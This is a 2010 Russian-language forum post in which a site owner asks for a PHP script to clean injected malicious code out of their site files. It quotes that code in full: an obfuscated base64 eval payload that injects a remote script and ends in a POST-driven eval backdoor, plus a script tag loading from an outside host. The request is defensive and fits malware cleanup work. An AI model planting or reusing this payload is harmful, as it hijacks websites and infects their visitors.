Вообшем такая байда, у меня на постой на сайт добавляеца вредный код в такие файлы как "index.htm|html|php, default.* header.* footer.* config.*"
воозможно ли написать такой скрипт(на пхп) чтоб при отрытие этого файла удалялся вредный код с этих файлов,
одни из вредных кодов (добавляеца в начало файла)
КОД
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygneHJvJykpe2Z1bmN0aW9uIHhybygkcyl7aWYocHJlZ19tYXRj
aF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilp
Z
ihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO
1
w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9
IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9t
Q
2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY
2
UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0
Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9u
Z
SNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlK
C
R2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZW
N
vZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyUmxibWx6Wlc0dVkyOXRMbU51TDJWa2FYUnZjaTl
N
U1VORlRsTkZMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScp
K
SRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvc
y
gkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24geHJvMigkYSwkYiwkYywkZCl7Z2xvYm
F
sJHhybzE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHhybzEpKWNhbGxfdXNlcl9mdW5jKCR
4
cm8xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25h
b
WUnXSk9PSd4cm8nKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdP
W
FycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2Nv
bnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd4cm8nKTtmb3IoJGk9MDskaTxjb3VudCgk
c
yk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0keHJvbD0oKCRhPUBzZ
X
RfZXJyb3JfaGFuZGxlcigneHJvMicpKSE9J3hybzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1
B
PU1RbJ2UnXSkpOw==')); ?>
и бывает такое добавляется в конец файла
КОД
<script src=http://denisen.com.cn/editor/LICENSE.php ></script>
Сообщение отредактировал turbu: Mar 15 2010, 16:02